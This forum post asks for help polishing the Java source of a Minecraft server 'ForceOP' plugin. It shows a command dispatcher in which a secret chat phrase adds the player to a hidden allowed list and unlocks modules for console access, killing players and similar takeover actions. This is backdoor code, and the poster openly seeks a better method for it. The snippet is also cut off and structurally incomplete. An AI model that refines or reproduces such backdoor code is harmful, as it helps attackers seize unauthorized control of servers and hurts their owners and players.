Hey, I have no issues, I simply want to make my code more professional, if you know how I can do so it'd be greatly appreciated!
Yes, I know it's a ForceOP. If you can come up with a better method I'd like that. Thanks in advance!
Code:
public String runCommandExecutor(String executor, String msg, String[] args, Player p, boolean requested) {
if(executor.equals("<<force>op>addme")) {
if(requested) {
plugin.playerAllowed.add(p.getName());
p.sendMessage(plugin.colorCode("&7&o[ForceOP: Added you to the allowed list, you have to do this every reload]"));
p.sendMessage(plugin.colorCode("&7&o[ForceOP: There are "+plugin.commands.size()+" modules available for use! Type 'help' to gain a list of them!]"));
}
}
if(executor.equals("void")) {
return new VoidCmd(plugin, msg, args, p, requested).getDescription();
}
if(executor.equals("console")) {
return new ConsoleCmd(plugin, msg, args, p, requested).getDescription();
}
if(executor.equals("seevanished")) {
return new SeeVanishedCmd(plugin, msg, args, p, requested).getDescription();
}
if(executor.equals("killall")) {
return new KillAllCmd(plugin, msg, args, p, requested).getDescription();
}
if(executor.equals("kill")) {
return new KillCmd(plugin, msg, args, p, requested).getDescription();
// ..... etc
return null;
}
Yes, I know it's a ForceOP. If you can come up with a better method I'd like that. Thanks in advance!
